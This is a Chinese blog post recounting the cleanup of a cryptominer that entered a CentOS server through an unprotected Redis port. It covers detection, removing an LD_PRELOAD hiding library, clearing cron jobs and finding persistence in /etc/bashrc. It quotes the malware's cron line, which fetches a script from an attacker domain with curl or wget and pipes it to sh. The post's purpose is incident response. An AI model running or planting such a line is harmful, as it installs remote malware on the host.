1. 背景
最近在阿里云服务器上安装了缓存redis,由于没有设置密码,并且开放了6379端口,遭受了挖矿程序攻击。操作系统为centos7。
2. 排查
(1)使用top命令,cpu使用率很少,几乎为0,该图只是演示,不是当时情况,当时情况:cpu使用率为0,空闲100%,明显很有问题
这个时候,说明挖矿程序改变你的服务器,看到的并不真实,这个时候需要一个命令:vmstat
你会发现us为99 id几乎为0
(2)查看Linux的定时任务cron,使用命令crontab -l 命令查看所有的定时任务,如果没有设置定时执行脚本的计划,发现多了一个任务计划:
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
看到这任务计划,明显不是自己设置的
再使用crontab -e编辑,也发现了这个执行计划,这时候你试图删除它,我没那么幸运,我删除不掉它。删除还是会出现。想想都很可恶。而这个可恶的程序地址就是看到的 lsd.systemten.org,用浏览器打开它就是shell脚本。
了解shell脚本的可以看看它都干了啥,如何把你服务器当成了傻子。真想举报它,不知道去哪举报。
(3)这个时候,我发现我的ps grep命令都找不到redis的进程,还有java 进程。
3. 清理之战
【自己根据网上分享综合操作,总结了完整步骤,打仗要有完整思路才能取胜】
步骤一:首先要关闭入侵的所有入口
redis此时可能已经被破坏,打开阿里云安全中心,你能看到阿里云的入侵警告消息,此时发现redis-server这个脚本已经被注入了自动任务,果断删除编译安装的redis目录所有文件。
设置安全组规则:阻断自动任务脚本请求的访问的地址
甚至的出方向 此时你要设置ip,可以ping 挖矿脚本地址获取的它的ip
入方向:关闭6379端口
步骤二:“关起门来,打狗!!!!”
此时门是关好了,打狗必须找狗,此时你可能会忽然发现,你找不到它!!!
无论你使用top . ps -aux等命令都好像无法使用一样,根本不能发现占cpu资源那个最高的线程。因为它采用用了隐身机制,这个隐身机制是:利用Linux预加载型恶意动态链接库的后门。
想了解的可以参考:https://www.freebuf.com/column/162604.html
这个后门就是这个文件
/etc/ld.so.preload
打开这个目录你可能看不到它,直接使用
vim /etc/ld.so.preload
打开文件后你会发现它加载一个文件:
/usr/local/lib/libcupscgi-6.1.so
就是这个文件让它的进程的遁形,此时你想干啥,抡起来打狗啊!!!
去这个目录果断删除libcupscgi-6.1.so并且删除预加载文件ld.so.preload的内容,预加载的文件不要删除哈。
这个时候只是把狗的隐身功能打掉,它的本身还是存活的。
这个时候使用top命令发现一个高消耗cpu的进程,找到目录,删掉文件,果断杀掉。
杀掉后你发现cpu和内存还是不断增加,为啥
因为定点任务计划不断的再请求外界的挖矿程序木马,
crontab -e 编辑删掉任务计划
cd /usr/spool/cron/ 删除所有不是你的任务计划
如果删不掉,或者无法编辑保存:可以使用
chattr -ia xxxx 自己可以了解下lsattr 和chattr命令的使用
最后感觉清理的差不多了
此时cpu似乎下降下来了,但是内存还是不断增加,最后cpu也最后高达100%。难道是还没清理干净吗?
步骤三:最后一击
研究很久,发现:
ps -ef|grep lsd.systemten.org
很多线程,不断的
curl -fsSL lsd.systemten.org,
wget -q -O- lsd.systemten.org
找了很久也发现这个请求程序在哪里,根据网上的根据进程pid找路径
也无果。
最后想了一个办法,既然它不断使用curl和wget工具请求脚本,那我直接卸载wget,看看它在哪里报错,就能找到了。
果然:
/etc/bashrc wget :无法找到该命令
马上编辑:
vi /etc/bashrc-
你发现最后有:
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh
隐藏的可够深的!!!!!
4. 总结
外网使用redis一定要设置密码和绑定ip,改变默认端口。毕竟关门打狗很浪费时间。如果你和我一样摸着石头过河,希望这个篇文章能帮助你。